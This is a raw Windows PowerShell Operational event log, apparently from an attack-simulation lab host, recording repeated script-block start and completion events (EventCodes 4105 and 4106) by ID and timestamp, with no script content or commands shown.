Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023385
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023404
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023403
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023402
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023401
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023400
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023399
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023398
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023397
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023396
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:07 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023395
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023414
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023413
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023412
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023411
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023410
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023409
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023408
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023407
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023406
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:12 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023405
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023424
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023423
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023422
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023421
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023420
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023419
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023418
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023417
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023416
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:18 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023415
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023434
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023433
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023432
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023431
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023430
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023429
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023428
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023427
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023426
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:24 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023425
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023444
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023443
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023442
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023441
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023440
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023439
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023438
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023437
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023436
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:28 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023435
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023454
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2023453
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2023452
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 09:56:34 PM
LogName=Microsoft-Windows-PowerShell/Operational
